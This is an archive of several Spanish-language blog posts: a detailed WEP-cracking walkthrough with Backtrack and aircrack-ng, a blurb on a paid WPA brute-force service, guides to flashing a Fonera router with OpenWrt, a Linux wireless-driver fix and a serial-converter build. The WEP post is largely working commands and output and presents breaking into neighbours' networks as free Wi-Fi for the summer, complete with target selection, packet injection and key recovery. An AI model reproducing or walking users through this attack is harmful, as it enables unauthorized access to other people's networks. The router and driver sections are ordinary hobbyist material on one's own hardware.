Crackeando WEP con Backtrack: comparte Wi-Fi durante el verano

wireless La gente quiere compartir su Wi-Fi con nosotros de forma desinteresada y, como Fon no sirve de gran cosa (¿Cuánto tiempo hace que no veis una red de Fon?¿Habeis visto alguna vez una? 😀 ), suele dejarnos acceso libre a sus puntos de acceso. En caso contrario no se explica que aún hoy en día más de la mitad de los accesos inalámbricos esten configurados usando un sistema de cifrado, el WEP, que nos permite paso libre en apenas cuatro o cinco minutos. Un “amable” detalle para que no gastemos más en la factura de teléfono y poder recoger el correo o conectarnos a facebook para dar envidia durante las vacaciones.

La única parte complicada de todo lo que vamos a contar a continuación es disponer de una tarjeta de red con los drivers oportunos para nuestra tarea. La tarjeta (el hardware) no merece darle muchas vueltas. Si la que tenemos sirve, pues estupendo. Si no, tendremos que comprar una adecuada. Los drivers se pueden compilar para cualquier distribución de Linux, pero no merece la pena hacerlo: yo tengo instalado Backtrack en una pequeña partición de 15 Gbytes de mi portatil para estos menesteres y si a ti no te sobra siquiera ese espacio puedes usar una versión live de esta distribución en una memoria USB. Si estás curtido en este mundo y prefieres compilar los drivers tu mismo para tu distribución habitual, adelante. En este último caso disponer de la suite aircrack-ng no te será complicado. Para todo el proceso necesitaremos al menos tres terminales de forma simultanea pero es indistinto que lo hagamos mediante un entorno gráfico (startx) o usando terminales virruales (Ctrl+Alt+Fn).

Y empezamos con los preliminares. Hemos arrancado ya con nuestra backtrack y vamos a comprobar que nuestra tarjeta es compatible con los drivers de madwifi y, en caso afirmativo, a inicializarla. Para ello usamos el comando iwconfig para ver que tarjeta tiene extensiones inalámbricas e ifconfig para averiguar la MAC (Hwaddr) de la misma:

root@bt:~# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

wlan0 IEEE 802.11bgn Mode:Managed Access Point: Not-Associated
Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 1c:4b:d6:a3:52:2a
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

En el volcado anterior vemos que la denominación de nuestra tarjeta es wlan0 y que su dirección MAC es la 1c:4b:d6:a3:52:2a. Bien. Ahora incializaremos en modo monitor nuestra tarjeta:

root@bt:~# airmon-ng stop wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode disabled)

root@bt:~# airmon-ng start wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode enabled on mon0)

Y ahora comprobaremos que es apta para nuestro trabajo. En la última línea del comando anterior la suite de aircrack nos ha devuelto el identificador correspondiente a nuestro adaptador inalámbrico en modo monitor que es el que usaremos a partir de ahora. El siguiente comando nos dirá si dicho dispositivo es capaz de inyectar paquetes en una red wifi y hará una prueba de dicha “habilidad” con tres de los dispositivos que sea capaz de detectar:

root@bt:~# aireplay-ng --test mon0
14:20:50 Trying broadcast probe requests...
14:20:50 Injection is working!
14:20:52 Found 3 APs

14:20:52 Trying directed probe requests...
14:20:52 00:03:C9:8D:0C:04 - channel: 1 - 'La cueva de Moratalaz'
14:20:52 Ping (min/avg/max):
1.644ms/3.040ms/6.560ms Power: -28.13
14:20:52 30/30: 100%

14:20:52 00:1F:5B:89:4B:BE - channel: 2 - 'Apple Network'
14:20:53 Ping (min/avg/max): 2.183ms/22.288ms/87.101ms Power: -75.30
14:20:53 30/30: 100%

14:20:53 00:1F:E1:2A:79:74 - channel: 1 - 'Livebox-DBB0'
14:20:58 Ping (min/avg/max): 2.218ms/3.187ms/4.387ms Power: -90.40
14:20:58 5/30: 16%

Y hasta aquí los preliminares. Si la prueba anterior ha fallado no tenemos nada que hacer y tendríamos que revisar que falla de lo expuesto hasta el momento. Vamos ahora a elegir nuestro “objetivo”. Para ello usaremos el siguiente comando;

root@bt:~# airodump-ng mon0

Como salida tendremos una pantalla con las redes detectadas por nuestro adaptador y diferentes medidas sobre la calidad de la señal que nos llega, actividad en la misma, cifrado, etc. Veamos un pantallazo (click para ampliarlo):

Wep Crack con Backtrack & Aircrack

¿En que deberíamos de fijarnos a la hora de elegir objetivo? Por supuesto en el cifrado (WEP en la columna AUTH) y en la proximidad de la señal (identificada con un número en decibelios bajo la columna PWR). Además necesitaremos el BSSID del punto de acceso (su MAC), el canal en el que opera (columna CH) y el identificador de la red (columna ESSID). Pulsando Ctrl+C cuando tenemos datos suficientes la ejecución se aborta y podremos copiar estos datos con tranquilidad. La columna #Data es particularmente importante porque no podremos meternos en una red que no tiene actividad, así que es vano tratar de introducirnos en una con esta columna a cero. En este caso habrá que esperar a que el dueño la use. Explicaremos más adelante el motivo.

El siguiente paso es “capturar” los paquetes de identificación de la red elegida y guardarlos en un fichero. Si hemos elegido la red identificada como DJC de la captura anterior el comando sería el siguiente:

root@bt:~# airodump-ng -c 3 -w djc --bssid 00:13:f7:df:a4:0d mon0

Donde idicamos el canal (3), la raíz de los ficheros donde se guardarán las capturas (djc) y la MAC del objetivo (00:13:f7:df:a4:0d). La salida debería de ser algo así:

Wep Crack con Backtrack & Aircrack

La columna más importante aquí es la etiquetada como #Data que nos muestra el número de paquetes IVs capturados. La captura de aquí arriba corresponde a una ejecución de siete minutos (excesiva para lo que necesitamos) pero al principio veremos de forma decepcionante como avanza de forma muy, muy lenta. Máxime considerando que necesitaremos entre 5.000 y 10.000 paquetes para acceder a la contraseña. Ahora veremos como hacerla correr…

Dejamos el anterior comando en ejecución y abrimos un nuevo terminal desde el que asociaremos nuestro adaptador inalámbrico al punto de acceso objetivo con la siguiente orden:

root@bt:~# aireplay-ng -1 0 -a 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a -e DJC mon0

La primera MAC (00:13:f7:df:a4:0d) es la de nuestro objetivo y la segunda (1c:4b:d6:a3:52:2a) la del adaptador que estamos usando para conectarnos a ella. El identificador de la red objetivo sigue siendo DJC. En este punto podría ocurrir que no consiguieramos realizar la asociación. Esto es debido normalmente a que el punto de acceso está filtrando por MAC o a que estamos demasiado lejos del mismo. Lo primero tiene solución, pero ya lo veremos en otro artículo que este ya está quedando demasiado tocho. Una vez hecha la asociación pasamos a hacer crecer ese número de paquetes IVs que necesitamos para romper la contraseña. ¿Cómo? Pues aprovechando que los paquetes ARP se envían en modo broadcast y contienen un IV (vector de inicialización) que es lo que necesitamos. Pondremos a nuestro adaptador a escuchar y esperar este tipo de paquetes y a reinyectarlos en la red para acelerar el proceso de forma que en apenas un par de minutos tendremos varios miles de estos. El comando a continuación:

root@bt:~# aireplay-ng -3 -b 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a mon0

La primera MAC sigue siendo la del punto de acceso y la segunda la de nuestro adaptador. El resultado de la ejecución de los dos últimos comandos aquí:

Wep Crack con Backtrack & Aircrack

Si todo sale bien veremos como el número de paquetes IV capturados empieza a desbordarse. Si después de 500 ARP request no hemos conseguido este efecto cancela el comando y vuelve a ejecutar los dos últimos (el de asociación de la tarjeta y este). Después de tres o cuatro intentos, a lo sumo, conseguiremos el efecto deseado.

Vamos ahora con el paso final. Abrimos un tercer terminal y ejecutamos lo siguiente:

root@bt:~# aircrack-ng -b 00:13:f7:df:a4:0d djc-01.cap

Esto lanzará el ataque para descifrar la contraseña de la red identificada por la MAC 00:13:f7:df:a4:0d a partir de los paquetes capturados y almacenados en el fichero djc-01.cap (recuerda que la raiz djc la introdujimos nosotros). Si aircrack no tiene suficiente información para romper la clave quedará en espera de algunos centenares más y se relanzará de forma automática. Si no hay problemas enseguida nos responderá con algo así donde la clave que necesitamos es la que aparece al final y etiquetada como ASCII:

Wep Crack con Backtrack & Aircrack

No os asusteis por la extensión del texto. He querido que sea fácilmente entendible y reproducible por casi cualquiera y por eso he metido más literatura de la cuenta, pero una vez que hayas practicado un par de veces podrás completar todo el proceso en apenas un par de minutos. Y démosle gracias a Telefónica por seguir instalando sus puntos de acceso usando WEP 😀

WPA Cracker

opinion Un cluster de 400 ordenadores para auditar la seguridad de una clave WPA en 10 minutos por 34$ (17$ si sólo queremos usar la mitad) mediante un ataque por fuerza bruta, la única posibilidad factible por el momento contra este sistema. Todo lo que necesitas, aparte de pagarles, es el ESSID de la red que quieres auditar, una captura de tráfico lo suficientemente grande (unos 10 Mbytes, indican en su FAQ) y una dirección de correo donde enviarte los resultados. Eso si, recuerda que se trata de una auditoria y que nadie te garantiza un resultado positivo.

WPA Cracker

Instalando OpenWrt en la Fonera (y II)

fonBueno. Vamos a terminar con esto que dejamos a medias hace un par de días que no me gusta dejar las cosas incompletas. Haciendo un breve repaso de la situación, si lo que quieres es una fonera pero más controladita no sigas leyendo y quédate donde lo dejamos en el anterior texto. Si prefieres jugar con un router inalámbrico más serio acompáñame en los siguientes párrafos.

Empezamos por los preliminares. Vamos a necesitar un servidor tftp, una especie de FTP sencillote que suele usarse como sistema de actualización en dispositivos con pocos recursos como este. En Linux puedes usar fácilmente el tftpd y en Debian o distribuciones derivadas (Ubuntu, Kubuntu, etc.) es tan fácil como instalar los paquetes apropiados (sudo apt-get install tftp tftpd xinetd) y crear un fichero de configuración llamado tftp dentro del directorio /etc/xinet.d con el siguiente contenido:

service tftp
{
protocol = udp
port = 69
socket_type = dgram
wait = yes
user = nobody
server = /usr/sbin/in.tftpd
server_args = /tftpboot
disable = no
}

Ahora debemos de crear el directorio que hemos indicado como raíz de nuestro servidor tftp (sudo mkdir /tftpboot), y cambiar sus permisos y propietario (sudo chmod -R 777 /tftpboot; sudo chown -R nobody /tftpboot). Dentro de ese directorio dejaremos los dos ficheros que nos harán falta para sustituir el firmware de la fonera que son openwrt-atheros-2.6-vmlinux.lzma y openwrt-atheros-2.6-root.squashfs. Muy importante: hay que dejarlos “a pelo” en el mismo directorio ya que el tftp no reconocerá ninguna estructura jerárquica. Por último en cuanto a este paso, reiniciamos el servicio xinetd que es el que da soporte a nuestro tftp (sudo /etc/init.d/xinetd restart) y volvemos con la fonera.

Lo primero que necesitamos es instalar Redboot. El procedimiento a seguir, en dos pasos y con un reinicio de por medio, puede verse en los dos siguientes pantallazos de mi terminal:

instalando redboot en la fonera
instalando redboot en la fonera

Para facilitar los “corta y pega” los comandos son estos:

cd /tmp
wget http://fonera.info/camicia/openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma
mtd -e vmlinux.bin.l7 write openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma vmlinux.bin.l7
reboot

Después del reinicio nos conectamos de nuevo y ejecutamos la segunda parte:

cd /tmp
wget http://fonera.info/camicia/out.hex
mtd -e “RedBoot config” write out.hex “RedBoot config”
reboot

Después de esto nuestra fonera arrancará con Redboot y con la dirección IP 192.168.1.254. El acceso a Redboot solamente puede hacerse durante los primeros segundos una vez que el sistema arranque con lo cual es importante que estemos atentos (aunque, si nos despistamos, no pasa nada: apagamos la fonera y volvemos a intentarlo). El acceso a Redboot ha de hacerse por telnet y a través del puerto 9000.

El proceso completo, desde la conexión a Redboot hasta el reset final puede verse en el siguiente pantallazo:

instalando openwrt en la fonera

Igualmente, los comandos y unas aclaraciones a los mismos:

ip_address -l 192.168.1.254 -h 192.168.1.5
load -r -b %{FREEMEMLO} openwrt-atheros-2.6-vmlinux.lzma
fis init
fis create -e 0x80041000 -r 0x80041000 vmlinux.bin.l7
fis free
load -r -b %{FREEMEMLO} openwrt-atheros-2.6-root.squashfs
fis create -l 0x6f0000 rootfs
reset

En la primera línea es en la que definimos la conexión con el servidor tftp. La primera IP que aparece es la de nuestra fonera y la segunda la de la máquina que aloja al servidor. El otro comando al que hay que prestar atención es el que aparece en la línea 7. Es el momento en que decimos la dirección de memoria donde debe de ubicar la raíz del sistema de ficheros. La dirección hexadecimal que ahí aparece no es arbitraria: es el resultado de restar las dos direcciones que nos devuelve como resultado el comando de la línea 5 (fis free). En mi caso y (en casi todos los ejemplos que he visto en Internet) estos valores son 0xA80F0000 y 0xA87E0000 y por tanto el resultado es el 0x6f0000 que aparece en el comando de la línea 7. Poned atención por si acaso y, si lo necesitáis, ajustad el cálculo vosotros mismos.

Una última advertencia: algunos de los comandos anteriores se demoran bastante (más de 15 minutos en algunos casos). No os impacientéis y no rompáis el proceso ni apaguéis la alimentación de la fonera en el transcurso de estas esperas.

El primer arranque de OpenWrt se hace con el wifi deshabilitado y asignando la dirección 192.168.1.1 a la ethernet de la fonera. Esto posiblemente entrará en conflicto con nuestro router si tenemos una instalación corriente, así que este primer arranque conviene hacerlo con la fonera conectada directamente por cable con nuestro ordenador el cual habremos configurado manualmente con una IP adecuada. La primera conexión deberemos de hacerla por telnet y una vez que asignemos una contraseña al usuario root (con el comando passwd) el acceso por telnet se deshabilitará y las conexiones subsiguientes podremos hacerlas ya por ssh como está mandado:

nuestro primer acceso a openwrt en la fonera

Y listo. Nuestro nuevo router ya está disponible. Ahora toca configurarlo y para eso hay muy buenos recursos en la red. Yo sólo os voy a ayudar a dar los primeros pasos para que los menos habituados a estas lides no se frustren nada más empezar ¿de acuerdo?

Lo primero que necesitamos es reconfigurar el interface ethernet. Para ello editamos con vi el fichero /etc/config/network y allí modificamos la opción correspondiente a la dirección IP y completamos la configuración al menos indicando el router y el dns que queremos que use. El resultado final de este fichero debe de quedar más o menos así:

# Copyright (C) 2006 OpenWrt.org

config interface loopback
option ifname lo
option proto static
option ipaddr 127.0.0.1
option netmask 255.0.0.0

config interface lan
option ifname eth0
option type bridge
option proto static
option ipaddr 192.168.1.4
option netmask 255.255.255.0
option gateway 192.168.1.1
option dns 192.168.1.1

Salvamos los cambios y reiniciamos la red (/etc/init.d/network restart). Después de esto perderemos la conexión de la sesión de ssh (le hemos cambiado la dirección IP al dispositivo, recordad) pero ya podremos integrarlo directamente a nuestra red y en la próxima conexión que hagamos tendrá acceso a Internet, lo cual nos resulta imprescindible para el siguiente paso: instalarle una interfaz web para su gestión.

OpenWrt usa un sistema de gestión de paquetes denominado ipkg que en líneas generales resulta muy similar a nuestro familiar apt-get pero que es mucho más ligero y, por tanto muy adecuado para este tipo de dispositivos. Para actualizar los paquetes del sistema, por ejemplo, ejecutamos ipkg update y a continuación ipkg upgrade. Os suena mucho ¿verdad?

root@OpenWrt:~# ipkg update
Downloading http://downloads.openwrt.org/kamikaze/7.09/atheros-2.6/packages/Packages
Updated list of available packages in /usr/lib/ipkg/lists/release
Downloading http://downloads.openwrt.org/kamikaze/packages/mips/Packages
Updated list of available packages in /usr/lib/ipkg/lists/packages
Done.
root@OpenWrt:~# ipkg upgrade
Nothing to be done
Done.
root@OpenWrt:~#

Para instalar X-Wrt, que es la interfaz web de gestión que usa OpenWrt, necesitamos editar el archivo /etc/ipkg.conf y añadirle la siguiente línea:

src X-Wrt http://downloads.x-wrt.org/xwrt/kamikaze/7.09/atheros-2.6/packages

A continuación volvemos a actualizar la base de datos de paquetes (ipkg update) e instalamos el paquete webif (ipkg install webif):

instalando x-wrt en la fonera

Ahora, si ya estamos un poco aburridos de la línea de comandos, podemos continuar a través de esta interfaz web escribiendo en nuestro navegador la dirección que le hemos asignado al dispositivo y usando como usuario de acceso root y la contraseña que le hayamos puesto al mismo. Echadle un vistazo y ya veréis que diferencia en cuanto a posibilidades con respecto a lo que teníamos originalmente…

acceso a la fonera con x-wrt

Sólo os acompaño en una cosa más y ya os dejo solos. Hasta ahora tenemos un router wifi… pero sin wifi ya que este sigue desactivado. Para arreglar esto entramos en Network, seleccionamos Wireless, marcamos la opción de Radio en ON, modificamos, si así lo queremos, el ESSID que trae por defecto, salvamos los cambios y, que no se nos olvide, los aplicamos hasta que la opción de “review changes” esté vacía (esto puede precisar más de una aplicación de cambios). En unos segundos nuestros dispositivos wifi detectarán la nueva señal que, por el momento, está totalmente abierta y sin cifrado alguno.

acceso wifi a openwrt

Para activar el cifrado, en la misma página donde estamos hay un selector marcado como Encription Type que tiene seleccionada la opción de Disabled. Elegimos, por ejemplo, WPA2 (PSK), cumplimentamos la clave que usará el cifrado en el casillero WPA PSK que nos aparece tras haber hecho la elección y se nos solicita que elijamos entre dos paquetes diferentes para su instalación: uno que sólo sirve para PSK y PSK2 llamado HostAPD-Mini y otro que incluye también la opción de autenticación mediante un servidor RADIUS (HostAPD). Elegimos el que creamos conveniente (yo he escogido el segundo porque la autenticación mediante RADIUS es una de las cosas con las que me apetece jugar) pulsando sobre el botón adecuado y listo.

cifrando el acceso wifi en openwrt

No os asustéis por el final del proceso que concluye mostrando en el navegador el fichero .sh que ha ejecutado en el dispositivo. Pulsar la flecha atrás de vuestro navegador y volveréis a la página de configuración de la interfaz inalámbrica del OpenWrt. Si ahora pulsamos F5 veremos que tenemos cambios por revisar. Los aplicamos y con esto nuestra conexión inalámbrica ya estará lista para ser usada de forma segura.

Y ahora ya si que os dejo que sigáis jugando solos 😉

Toda la documentación que he utilizado y algunos extras adicionales están en el tag fonera de mi del.icio.us. Hay cosas realmente interesantes. Echadles un vistazo si queréis aprender un poquito más o explorar otras posibilidades.

Instalando OpenWrt en la Fonera (y I)

fon Tenía pendiente “flashear” un par de foneras para liberarlas y cargarles OpenWRT desde hace casi seis meses pero hasta ayer no encontré tiempo para hacerlo. Lo bueno es que al final la cosa salió bien. Lo malo que tardé más de la cuenta pero estaba tan enfrascado en ello que, cuando me quise dar cuenta, era la 1.30 de la madrugada, así que me quede sin ir al cine a ver la última que le gustó a Tormento (son tan escasas sus críticas positivas que no hay más remedio que atenderlas) que era lo que en realidad tenía pensado para ayer tarde… Os dejo aquí la chuleta para que a vosotros no os pase lo mismo que a mí y podáis disfrutar de una vida social un poco más sana que la mía. Como esto ha salido bastante largo lo voy a cortar en dos pedazos, pero no preocuparos que os voy a cobrar lo mismo 😉

Lo primero que hay que hacer para meterle mano a una fonera, y eso ya lo sabemos todos, es habilitar el acceso a la misma por ssh. Ya conté por aquí hace más de un año como hacerlo por hardware a través del puerto serie interno. Ahora se trataba de hacerlo por software por aquello de experimentar, ya sabéis. El método más usual de hacerlo consiste en “engañar” a la fonera con un DNS trucado de forma que al reiniciarla, momento en el que se trata de conectar con FON buscando actualizaciones de software, en realidad lo que se descarga es un parche que nos permite acceder temporalmente a ella por ssh a través del puerto wifi. Desgraciadamente parece que este hack sólo funciona con la versión 0.7.1.r2 o inferiores y mis foneras venían ya con la versión 0.7.2.r2 (¡y se actualizaron a la 0.7.2.r3 la primera vez que las dejé que llamaran a casa solitas!), así que parecía claro que lo primero que había que hacer es instalarles una versión de firmware inferior. Vamos a ello.

conectando a la fonera con knetworkmanager Sin conectar la fonera a Internet (para que no actualice su firmware) la encendemos y esperamos a que inicialice. Cuando lo haga podremos conectarnos a ella a través de la señal privada que difunde (MyPlace) usando como clave WPA su número de serie. La fonera arranca con la dirección IP 192.168.10.1 asignada a su interfaz inalámbrica, así que una vez autenticados a través del wifi escribimos esta IP en la barra de direcciones de nuestro navegador y accedemos a la pequeña web de administración del dispositivo con el usuario root y la contraseña admin.

Ahora nos vamos a la sección advanced del menú lateral y reconfiguramos el interface de red (Internet Connection) proporcionándole una IP estática dentro del rango de nuestra red y, muy importante, la IP 88.198.165.155 como servidor DNS. Una vez hecho esto pulsamos el botón de submit, apagamos la fonera, le conectamos el cable de ethernet y la volvemos a encender.

modificando la configuración de red

Una vez que ha rearrancado y que volvemos a tener acceso web a ella, la reseteamos pulsando el botón que tiene en su parte inferior durante al menos 30 segundos para forzar una actualización automática del firmware. El arranque tardará esta vez bastante más tiempo pero cuando este finalice tendremos ya instalada la versión 0.7.1.r2. Pero, cuidado, la configuración de conexión a Internet también se ha reiniciado y vuelve a apuntar al servidor de DNS de FON con lo cual hay que permanecer atentos y en el mismo momento en que tengamos acceso a ella (señal de que ha rearrancado correctamente) hay que desconectarle el cable de red para abortar cualquier nuevo intento de actualización por parte de FON. Ahora volvemos a modificar la conexión de red (la misma que antes), pulsamos submit, apagamos la fonera, le volvemos a conectar el cable de red y la encendemos otra vez. Después de que vuelva a encender (tardará de nuevo un poco más de lo normal aunque no tanto como en la anterior ocasión) dejamos transcurrir unos minutos (tened paciencia: está aplicando los cambios y se trata de un dispositivo lentito) y ya tendremos acceso a ella a través de ssh y del interfaz inalámbrico. Usuario y contraseña siguen siendo root y admin, respectivamente:

entrando por ssh a la fonera

Los siguientes pasos ya se han comentado en muchas ocasiones: hay que habilitar el ssh de forma permanente y deshabilitar las actualizaciones automáticas por parte de FON. Para lo primero tenemos que editar el fichero /etc/firewall.user y descomentar las líneas 22 y 23 dejándolas así:

### Open port to WAN
## — This allows port 22 to be answered by (dropbear on) the router
iptables -t nat -A prerouting_rule -i $WAN -p tcp –dport 22 -j ACCEPT
iptables -A input_rule -i $WAN -p tcp –dport 22 -j ACCEPT

Luego creamos un enlace para que el demonio de Dropbear (el pequeño servidor ssh que usa la fonera) arranque de foma automática en el inicio del dispositivo:

ln -s /etc/init.d/dropbear /etc/init.d/S50dropbear

Para lo segundo basta con editar el fichero /bin/thinclient y comentar la última línea (la 56) que es donde se ejecutan las actualizaciones. La línea debe de quedar así:

# . /tmp/.thinclient.sh

Reiniciamos (reboot) y tras el rearranque ya podremos acceder a ella también a través del interface ethernet y no tendremos que preocuparnos de que una actualización de software no deseada nos vuelva a dejar sin el control de nuestro aparatito.

Hasta aquí, y si modificamos de nuevo los datos de la conexión a Internet volviendo a decirle que use el servidor DNS de FON (213.134.45.129) seguimos teniendo una fonera plenamente operativa y funcional con la salvedad de que ahora el control de lo que se instala en la misma es sólo nuestro y que podemos acceder a ella a través de ssh. En la segunda parte contaré como, a partir de aquí, instalar el firmware de OpenWrt.

Configurar la conexión inalámbrica en Linux (cuando tu tarjeta no está soportada)

icono de herramientas Abrimos la sección técnica post-veraniega con un problemilla y su solución. Estoy estrenando portatil en mi nuevo trabajo (¿qué no sabíais que me cambiaba de trabajo? Bueno, ya os contaré más cosas en unos días) y mi Linux no es capaz de manejar correctamente la conexión inalámbrica. Reconoce el dispositivo como Broadcom Corporation Dell Wireless 1390 pero no es capaz siquiera de mostrarme las redes disponibles. El portatil en cuestión es un HP Compaq nx7300, un modelo baratito pero bastante resultón y con una buena relación calidad/precio.

Bien, lo primero que vamos a hacer, más por culturilla que por otra cosa, es aprender algunos comandos que nos resultaran útiles para recoger información de lo que está pasando:

josemaria@penique:/etc/modprobe.d$ iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

eth1 IEEE 802.11b/g ESSID:"" Nickname:"Broadcom 4311"
Mode:Managed Access Point: Invalid
RTS thr:off Fragment thr:off
Link Quality=0/100 Signal level=-256 dBm Noise level=-256 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

vmnet8 no wireless extensions.

vmnet1 no wireless extensions.
josemaria@penique:/etc/modprobe.d$ lspci -nn | grep Broadcom
02:0e.0 Ethernet controller [0200]: Broadcom Corporation BCM4401-B0 100Base-TX [14e4:170c] (rev 02)
10:00.0 Network controller [0280]: Broadcom Corporation Dell Wireless 1390 WLAN Mini-PCI Card [14e4:4311] (rev 01)

Gracias a Google nos enteramos, además de que mucha gente tiene problemas con este dispositivo, que el módulo que carga el kernel de Linux para su gestión se llama bcm43xx. En la web de berlios nos dicen además que el driver se ha desarrollado mediante ingeniería inversa porque Broadcom no da detalle alguno de sus chips (ya sabeis chicos: si la decisión de compra es vuestra y teneis alternativas nada de comprar productos de Broadcom). Vamos a comprobar que, efectivamente, estemos cargando ese módulo:

josemaria@penique:/etc/modprobe.d$ lsmod | grep bcm43xx
bcm43xx 126824 0
ieee80211softmac 31360 1 bcm43xx
ieee80211 34760 2 bcm43xx,ieee80211softmac

Vamos bien. Ahora descargamos el módulo y comprobamos que ya no está en uso:

josemaria@penique:/etc/modprobe.d$ sudo modprobe -r bcm43xx
Password:
josemaria@penique:/etc/modprobe.d$ lsmod | grep bcm43xx
josemaria@penique:/etc/modprobe.d$

Para evitar que este módulo se carge en sucesivos arranques de nuestro sistema tenemos que ir al directorio /etc/modprobe.d y allí editar el fichero blacklist y añadir al final esta línea:

# deshabilita la carga de bcm43xx
blacklist bcm43xx

Ahora necesitamos los drivers para windows del dispositivo. Para esto no debería de haber ningún problema: yo me los he bajado de la web de soporte de hp. Lo único que debemos de tener en cuenta es que deben de estar descomprimidos. Si los tenemos en un .zip, o un .exe debemos de extraerlos antes y guardarlos así en un directorio de nuestra máquina. A continuación instalamos ndiswrapper y, si estamos aburridos por hoy de la línea de comandos, ndisgtk (una interfaz gráfica para este).

Ejecutamos ndisgtk (en los menús suele situarse como “Windows Wireless Driver”), pulsamos el botón de “Install new driver” y navegamos hasta el directorio dónde hemos dejado los drivers windows del dispositivo. Debemos de seleccionar el archivo .inf que acompaña a los mismos (en mi caso bcmwl5.inf).

ndisgtk

Como veis aparece que el hardware no está presente… no tengo ni idea de porqué pero el caso es que funciona. Si queremos hacerlo desde la línea de comandos:

josemaria@penique:/opt/driverswifi.d$ sudo ndiswrapper -i bcmwl5.inf
installing bcmwl5 ...
josemaria@penique:/opt/driverswifi.d$ ndiswrapper -l
bcmwl5 : driver installed
device (14E4:4311) present (alternate driver: bcm43xx)
josemaria@penique:/opt/driverswifi.d$ sudo ndiswrapper -m
adding "alias wlan0 ndiswrapper" to /etc/modprobe.d/ndiswrapper ...

Y ya. No olvidemos activar el wifi desde el portatil (si posee algún botón o interruptor para ello como es el caso de este modelo) y, si usamos kde y knetworkmanager, veremos que ya nos está localizando las redes próximas y que podemos conectarnos a ellas.

knetworkmanager

Habilitando acceso por ssh a la fonera

Después de leer todos los comentarios de gente con problemas en el post de art-extreme y en un hilo de bandaancha comencé a tener dudas acerca de que fuese a funcionar, sobre todo después de los problemas que tuve en la fase final (y que ahora os comentaré para que no os pase lo mismo). Pero funciona, ya lo creo que funciona. Voy a tratar de describiros el procedimiento paso a paso para que no le quede ninguna duda a nadie que quiera animarse a hacerlo. Vamos allá.

Circuito convertidor RS232-TTLLo primero que necesitamos es un circuito convertidor RS232 a niveles TTL. Yo he usado el sugerido en el post de art-extreme que es el que aparece en la figura de la derecha. En el hilo antes mencionado de bandaancha aparece uno ligeramente diferente y hay quien ha mencionado por ahí que es más fácil usando el chip max323 porque los niveles TTL de la fonera son de 3,3 voltios y no de 5 como en este. También he encontrado por ahí referencias a circuitos que no necesitan siquiera el max232 e incluso tiendas que venden el conversor ya hecho. Para quien no le guste meterse “a ciegas” y quiera saber exactamente que es lo que estamos haciendo os recomiendo este breve manual sobre comunicaciones serie. Venga, no seais perezosos y echadle un vistazo que os espero.

¿Listos? Ahora hay que ir a comprar los componentes. La “lista de la compra” acciende a 6,72? de los cuales 4,41? corresponden a la placa de pruebas. Os enumero a continuación:

  • Tira pins macho 1×40.- 0,73? (me sobran 36 así que si alguien los quiere ;-))

  • Circuito integrado max232.- 0,63?
  • Zócalo circuito integrado 2×8.- 0,24?
  • conector RS232 de 9 pines acodado.- 0,52?
  • 4 condensadores electrolíticos 1µF.- 0,11? (0,029? cada uno)
  • 1 condensador electrolítico 10µF.- 0,08?
  • Placa de pruebas 3 agujeros 100×160.- 4,41?

Aparte de estos componentes necesitamos un soldador, estaño, unas pinzas, cablecillos y conectores. Para estos últimos yo he cogido algunos de viejas cajas desechadas de ordenador.

Unos consejos antes de empezar: lo más sensible del circuito es el integrado pero si no estaís acostumbrados a manejarlos quizás no sepais que no se deben de colocar en su zócalo hasta que todo el montaje no está terminado para que no reciba demasiado calor durante la soldadura lo cual podría estropearlo. Fijaos bien ahora en el zócalo y en el integrado: ambos tienen una marca en forma de media luna que sirve para que sepamos cual es la parte superior del mismo y, por tanto, la numeración de las patillas: la número 1 es la que está a la izquierda de dicha muesca y a partir de esta se sigue contando a medida que se va descendiendo hasta el fin de la fila. Luego se continua por la ultima patilla de la fila enfrentada y se siguen contando pero ahora en forma ascendente hasta la patilla superior, de forma que la primera y la ultima patilla quedan enfrentadas a izquierda y derecha de la muesca respectivamente. En cuanto a los condensadores electrolíticos lo único que hay que tener en cuenta es que la patilla más larga corresponde al positivo y la corta (que suele ir marcada en la cápsula con un signo) al negativo.

Un último consejo: cuidado con las soldaduras frías que hacen malos contactos y tantos quebraderos de cabeza dan luego. La forma de hacer una soldadura correcta es como sigue: se aplica el soldador al punto donde vamos a soldar durante un par de segundos para calentar la zona. A continuación y sin retirar el soldador aplicamos el estaño y cuando este se funde y baña la zona nos retiramos rápidamente. Cómo la placa es muy grande podeis hacer pruebas con hilos de cobre en una de las esquinas para que os sintais seguros antes de pasar a la acción. Al final os debería de quedar algo como esto:

fonera3  fonera4

Yo he “apurado” el espacio porque tengo práctica (aunque hace años que no juego a estas cosas me pasé cuatro años soldando en la formación profesional y muchos más durante y después reparando pequeños electrodomésticos), porque posiblemente corte el circuito y lo conserve para usos futuros y porque rentabilizaré el resto de la placa para otras cosas. Si vosotros no os sentís tan seguros no teneis porque hacerlo así: teneis placa de sobra y si espaciais más los componentes luego el cableado de la parte inferior os resultará mucho más fácil. Sin verguenzas :-).

